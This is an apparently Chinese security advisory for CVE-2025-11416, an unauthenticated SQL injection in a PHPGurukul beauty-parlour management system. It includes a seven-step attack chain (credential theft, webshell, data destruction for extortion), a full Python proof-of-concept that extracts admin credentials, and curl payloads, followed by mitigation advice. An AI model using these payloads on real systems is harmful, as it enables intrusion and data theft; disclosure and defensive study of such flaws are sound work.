IPBUF安全漏洞报告
English
CVE-2025-11416 CVSS 7.3 高危

CVE-2025-11416:PHPGurukul美容院管理系统SQL注入漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11416
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Beauty Parlour Management System

相关标签

SQL注入PHPGurukulBeauty Parlour Management SystemCVE-2025-11416高危漏洞远程攻击无需认证PHPMySQLWeb应用漏洞

漏洞概述

CVE-2025-11416是PHPGurukul美容院管理系统(Beauty Parlour Management System)1.1版本中存在的一个高危SQL注入漏洞。该漏洞于2025年10月7日由[email protected]披露,CVSS 3.1评分为7.3分,属于高危级别。漏洞存在于应用程序的/admin/invoices.php文件中,具体位于对参数delid的处理逻辑中。攻击者可以通过远程方式,无需任何身份认证和用户交互,即可向该参数注入恶意的SQL语句,从而实现对后台数据库的未授权操作。由于该漏洞的利用代码已被公开发布,可能被恶意攻击者用于实际攻击活动。该漏洞影响系统的机密性、完整性和可用性,攻击者可以读取敏感数据、篡改数据库内容,甚至可能导致数据库被完全控制。由于该系统通常用于美容院日常运营管理,其中可能存储客户个人信息、订单数据、财务记录等敏感数据,因此该漏洞对相关企业和用户构成严重威胁。PHPGurukul作为开源的Web应用程序,其用户群体广泛,包括许多中小型美容院,一旦遭受攻击可能导致客户隐私泄露和业务中断。

技术细节

该漏洞属于典型的SQL注入漏洞,根源在于/admin/invoices.php文件对用户输入的delid参数缺乏充分的过滤和参数化处理。在正常业务逻辑中,delid参数用于指定要删除的发票记录ID,程序应将其与SQL DELETE语句拼接时使用预编译参数化查询或严格的输入验证。然而,实际代码中直接将用户可控的delid参数拼接到SQL查询语句中,导致攻击者可以通过构造特殊的SQL片段绕过原有查询逻辑。攻击者可以利用UNION SELECT语句读取数据库中的任意数据,利用布尔盲注或时间盲注技术逐字节提取敏感信息,甚至利用堆叠查询(stacked queries)执行INSERT、UPDATE、DELETE等任意SQL操作。在MySQL环境下,攻击者还可以利用INFORMATION_SCHEMA等系统表获取数据库结构信息。由于该接口位于/admin/路径下且无需认证即可访问(PR:N),攻击者可以直接通过构造HTTP GET或POST请求触发漏洞,攻击复杂度低(AC:L),影响范围广。漏洞利用的核心Payload通常形如:delid=1' OR '1'='1' -- 或 delid=1 UNION SELECT 1,user(),database()-- ,通过单引号闭合原SQL语句后注入恶意逻辑。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过搜索引擎Shodan、Censys或直接扫描互联网,识别运行PHPGurukul Beauty Parlour Management System 1.1版本的目标服务器。
STEP 2
步骤2:定位漏洞端点
攻击者访问目标网站的/admin/invoices.php路径,确认该文件存在且可访问,无需任何身份认证。
STEP 3
步骤3:构造SQL注入Payload
攻击者构造针对delid参数的恶意SQL语句,如使用单引号闭合原查询后注入UNION SELECT语句或布尔盲注条件。
STEP 4
步骤4:发送恶意请求
攻击者通过HTTP GET或POST请求将Payload发送到漏洞端点,触发SQL注入漏洞。
STEP 5
步骤5:提取敏感数据
利用UNION查询读取数据库中的管理员凭据、客户信息、财务数据等敏感内容。
STEP 6
步骤6:权限提升与持久化
获取管理员密码哈希后进行破解,使用管理员账号登录系统,植入WebShell实现持久化访问。
STEP 7
步骤7:数据窃取与破坏
窃取数据库中的全部敏感数据,或使用DROP TABLE等语句破坏数据库,勒索受害者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11416 PoC - SQL Injection in PHPGurukul Beauty Parlour Management System 1.1 # Vulnerable file: /admin/invoices.php # Vulnerable parameter: delid import requests TARGET_URL = "http://target.com" # Replace with actual target VULNERABLE_ENDPOINT = "/admin/invoices.php" def exploit_sqli(target_url): """ Exploit SQL injection via delid parameter in invoices.php """ session = requests.Session() # Step 1: Test basic connectivity url = target_url + VULNERABLE_ENDPOINT # Step 2: Inject SQL payload via delid parameter # Payload to extract database version using UNION-based injection payloads = [ # Boolean-based test {"delid": "1' AND '1'='1"}, {"delid": "1' AND '1'='2"}, # Union-based injection to extract data {"delid": "1' UNION SELECT 1,user(),database(),version(),5,6,7,8,9,10-- -"}, # Extract current user {"delid": "1' UNION SELECT NULL,user(),NULL-- -"}, # Extract database name {"delid": "1' UNION SELECT NULL,database(),NULL-- -"}, # Extract table names from information_schema {"delid": "1' UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()-- -"}, # Time-based blind injection test {"delid": "1' AND SLEEP(5)-- -"}, # Error-based injection {"delid": "1' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))-- -"}, ] for i, payload in enumerate(payloads): try: print(f"\n[*] Testing payload #{i+1}") response = session.get(url, params=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for SQL errors in response if "error" in response.text.lower() or "warning" in response.text.lower(): print("[+] SQL Error detected - vulnerability confirmed!") # Display relevant response content if response.status_code == 200: # Extract potential data from response if "mysql" in response.text.lower(): print("[+] MySQL data leaked in response") except requests.exceptions.Timeout: print("[+] Timeout detected - possible time-based blind SQLi") except Exception as e: print(f"[-] Error: {e}") def extract_admin_credentials(target_url): """ Attempt to extract admin credentials from database """ url = target_url + VULNERABLE_ENDPOINT # Payload to extract admin table contents payload = { "delid": "1' UNION SELECT NULL,username,password,email,5,6,7,8,9,10 FROM tbladmin-- -" } try: response = requests.get(url, params=payload, timeout=10) if response.status_code == 200: print("[+] Admin credentials extraction response received") # Parse response for credentials return response.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-11416 - SQL Injection PoC") print("PHPGurukul Beauty Parlour Management System 1.1") print("=" * 60) # Run exploitation exploit_sqli(TARGET_URL) # Attempt credential extraction creds = extract_admin_credentials(TARGET_URL) if creds: print(f"\n[+] Extracted data: {creds[:500]}") # Manual exploitation example using curl: # curl "http://target.com/admin/invoices.php?delid=1' UNION SELECT NULL,user(),database()-- -" # curl -X POST "http://target.com/admin/invoices.php" -d "delid=1' OR '1'='1'-- -"

影响范围

PHPGurukul Beauty Parlour Management System 1.1

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过WAF规则临时阻断对/admin/invoices.php路径的delid参数中包含单引号、UNION、SELECT、OR、AND等SQL关键字的请求;2)在Web服务器层面限制/admin/目录的访问,要求必须经过身份认证才能访问;3)修改源代码,将delid参数处理改为参数化查询或预编译语句;4)监控数据库日志,关注来自应用服务器的异常SQL查询;5)暂时禁用删除发票功能,避免漏洞被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表